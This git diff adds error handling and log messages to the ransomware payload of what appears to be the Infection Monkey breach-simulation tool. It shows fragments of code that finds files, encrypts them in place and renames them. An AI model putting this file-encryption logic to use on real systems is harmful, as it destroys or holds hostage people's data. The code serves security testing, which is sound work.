diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index a70781333..bf3ae80a6 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -469,5 +469,8 @@ class InfectionMonkey(object):
 
     @staticmethod
     def run_ransomware():
-        telemetry_messenger = TelemetryMessengerWrapper()
-        RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload()
+        try:
+            telemetry_messenger = TelemetryMessengerWrapper()
+            RansomewarePayload(WormConfiguration.ransomware, telemetry_messenger).run_payload()
+        except Exception as ex:
+            LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}")
diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py
index f46c5ae72..da300a175 100644
--- a/monkey/infection_monkey/ransomware/ransomware_payload.py
+++ b/monkey/infection_monkey/ransomware/ransomware_payload.py
@@ -37,6 +37,7 @@ class RansomewarePayload:
         self._telemetry_messenger = telemetry_messenger
 
     def run_payload(self):
+        LOG.info("Running ransomware payload")
         file_list = self._find_files()
         self._encrypt_files(file_list)
 
@@ -52,10 +53,12 @@ class RansomewarePayload:
         results = []
         for filepath in file_list:
             try:
+                LOG.debug(f"Encrypting {filepath}")
                 self._encryptor.encrypt_file_in_place(filepath)
                 self._add_extension(filepath)
                 self._send_telemetry(filepath, "")
             except Exception as ex:
+                LOG.warning(f"Error encrypting {filepath}: {ex}")
                 self._send_telemetry(filepath, str(ex))
 
         return results